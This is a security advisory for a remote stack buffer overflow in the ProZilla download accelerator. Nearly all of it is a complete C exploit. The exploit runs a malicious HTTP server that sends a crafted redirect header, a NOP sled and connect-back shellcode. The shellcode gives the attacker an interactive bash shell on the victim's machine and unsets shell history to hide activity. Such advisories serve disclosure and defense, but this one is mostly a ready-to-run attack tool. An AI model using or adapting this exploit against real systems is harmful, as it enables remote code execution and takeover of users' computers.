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Remote Buffer Overflow in Prozilla
------------------------------------------------------------------------
SUMMARY
<http://prozilla.genesys.ro/> ProZilla is a download accelerator for
Linux. ProZilla contains several buffer overflow vulnerabilities that can
be exploited by a malicious server to execute arbitrary code with the
rights of the user running ProZilla.
DETAILS
Vulnerable Systems:
* Prozilla Version 1.3.6-r2 and Prior
Exploit Code:
//proz_ex.c
/* 20/10/2004
** This is a private work of Serkan Akpolat deicide@siyahsapka.org
** for the unpublished prozilla-1.3.6 format string/buffer overflow
** vulnerability , though this version only exploits the stack overflow.
** Tested against current gentoo/slack/debian/suse with success. :P
** Client side: proz hostname:port/anyfile.name
** Default listen port is 8080
** Homepage: www.siyahsapka.org || deicide.siyahsapka.org
**/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1
char packet_start[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://";;
char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";
/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n";
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";
unsigned char shellcode[] = {
/* write(1,"\n\n\n\n",4) 0x31 times */
0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
/* write(1,"\n\n\nEnd of file while parsing header",38);*/
0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
/* fork(); */
0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
/* If we are parent exit(?) */
0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
0xfe, 0xc0, 0x43, 0xcd, 0x80,
/* setsid() */
0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
/* signal(SIGHUP,SIG_IGN) */
0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
/* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
0x80,
/* i = connect(sock, sockaddr, 16) */
0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
0x4c, 0xb0, 0x66, 0xcd, 0x80,
/* if (i != 0) jmp exit(?) */
0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
/* write(sd,"SSSS",4) */
0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
/* dup2 loop */
0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
0x3f, 0xcd, 0x80,
/* execve("/bin/bash",{"bash",NULL} , NULL) */
0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
0x40, 0xcd, 0x80,
/* exit(?); */
0x31, 0xc0, 0x40, 0xcd, 0x80
};
void usage(char *progname)
{
fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
"-c <ip address> connectback ip address\n"\
"-p <port> connectback port (default = 8080)\n", progname);
exit(1);
}
/* Interactive shell session */
void shell(int sock)
{
/* from sambal.c, hey eSDee ;) */
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeeey!
***\";uname -a;id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(sock, &fd_read)) {
if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (write(1, buff, n) < 0) break;
}
if (FD_ISSET(0, &fd_read)) {
if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOF\n");
exit(2);
}
if (send(sock, buff, n, 0) < 0) break;
}
usleep(10);
}
fprintf(stderr, "Connection lost.\n\n");
exit(0);
}
void put_ip(int i,int j)
{
shellcode[j]=i;
}
void put_xor(int i,int j,int k)
{
shellcode[j+k]=i;
}
int find_xor(int a,int b,int c)
{
int i=49,j=49;
for(i=49;i<255;i++) {
for(j=49;j<255;j++) {
if(a==(i^j)) {
put_ip (i,b);
put_xor (j,b,c);
b++;
return b;
}
}
}
return -1;
}
void check_zombie(int x)
{
waitpid(-1,NULL,WNOHANG);
}
void send_start(int connection)
{
if (send(connection,packet_start,strlen(packet_start),0)==-1) {
perror("send");
}
fprintf(stderr,"[+] Sending Header Start\n");
}
void send_nop(int connection)
{
int i = 0;
int j = 1;
char buffer [1024] ="AA@@";
char counter [128];
memset(counter ,0x00,128 );
memset(buffer+3,0x41,1021);
buffer[1024-1]='\0';
while(i<96) {
if (send(connection,buffer,strlen(buffer),0)==-1) {
perror("send");
}
i++;
if(!(i%4))
j++;
memset (counter,0x2b,j);
memset (counter+j,0x20,26-j);
fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
memset(counter,0x00,sizeof(counter));
}
fprintf(stderr,"\n");
fprintf(stderr,"[+] Sending Shellcode\n");
if (send(connection,shellcode,strlen(shellcode),0)==-1) {
perror("send");
}
}
void send_hostname(int connection)
{
int i = 0;
char fill_buffer[1600];
memset(fill_buffer,0x00,1600);
/* We dont care about alignment, return 0x08080808 */
for(;i<400;i++) {
strcat(fill_buffer , "\x08\x08\x08\x08");
}
fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
if (send(connection,fill_buffer,1600,0)==-1) {
perror("send");
}
}
void send_end(int connection)
{
fprintf(stderr,"[+] Sending Header End\n");
if (send(connection,packet_end,strlen(packet_end),0)==-1) {
perror("send");
}
}
int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in
*from_addr,int *from_len)
{
int control;
if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
perror("Socket:");
exit(1);
}
control_addr->sin_port=htons(PORT);
control_addr->sin_addr.s_addr=INADDR_ANY;
control_addr->sin_family=AF_INET;
if((bind(control,(struct sockaddr
*)control_addr,sizeof(*control_addr)))!=0) {
perror("Bind:");
exit(1);
}
if(listen(control,128)!=0) {
perror("Listen:");
exit(1);
}
*from_len =sizeof(*from_addr);
signal(SIGCHLD,check_zombie);
return control;
}
int main(int argc,char **argv)
{
/* ip patch position */
int i=194;
int opt_p=0,opt_c=0;
int port,porthigh,portlow;
int c,f;
int control;
int connection,from_len;
int ip1,ip2,ip3,ip4;
char http_response [2048];
char client_request[2048];
struct sockaddr_in *control_addr = (struct sockaddr_in
*)malloc(sizeof(struct sockaddr_in));
struct sockaddr_in *from_addr = (struct sockaddr_in
*)malloc(sizeof(struct sockaddr_in));
while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
switch (c) {
case 'h':
usage(argv[0]);
case 'c':
opt_c=1;
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
break;
case 'p':
opt_p=1;
port = atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr, "Invalid port.\n\n");
exit(1);
}
}
}
if(opt_p) {
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
else {
port = 8080;
porthigh = (port & 0xff00) >> 8;
portlow = (port & 0x00ff);
}
if(!opt_c) {
usage(argv[0]);
}
memset(http_response,0x0,MAX_RESPONSE);
control = init_socket(control_addr,from_addr,&from_len);
/* patch ip */
i = find_xor(ip1,i,6);
i = find_xor(ip2,i,6);
i = find_xor(ip3,i,6);
i = find_xor(ip4,i,6);
/* patch port */
i = 207;
i = find_xor( porthigh,i,5);
i = find_xor( portlow ,i,5);
while(TRUE) {
if((connection=accept(control,(struct sockaddr
*)from_addr,&from_len))==-1) {
exit(1);
}
fprintf(stderr,"[+] Victim at : %s\n",
inet_ntoa(from_addr->sin_addr));
if (read(connection,client_request,sizeof(client_request))==0) {
exit(1);
}
/* Victim Responded */
if(strstr(client_request,"Prozilla"))
{
fprintf(stderr,"[+] Victim using Prozilla.\n");
f=1;
}
else {
if(strstr(client_request,"SSSS")) {
fprintf(stderr,"Nice , Victim Responded!\n");
shell(connection);
}
else {
fprintf(stderr,"[+] Victim is not using
Prozilla! Sending a normal response.\n");
if(send(connection,real_response,strlen(shellcode),0)==-1) {
perror("send");
}
}
}
if(f==1) {
/* HTTP */
send_start(connection);
/* nop sled [nop@] */
send_nop(connection);
/* Overwrite Saved Ret , return to heap */
send_hostname(connection);
/* HTTP END */
send_end(connection);
f=0;
}
close(connection);
memset(client_request,0x0,sizeof(client_request));
if (fork()==0) {
free(from_addr);
free(control_addr);
exit(0);
}
else {
close(connection);
}
}
printf("Done");
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:sakpolat@gmx.net> Serkan
Akpolat.
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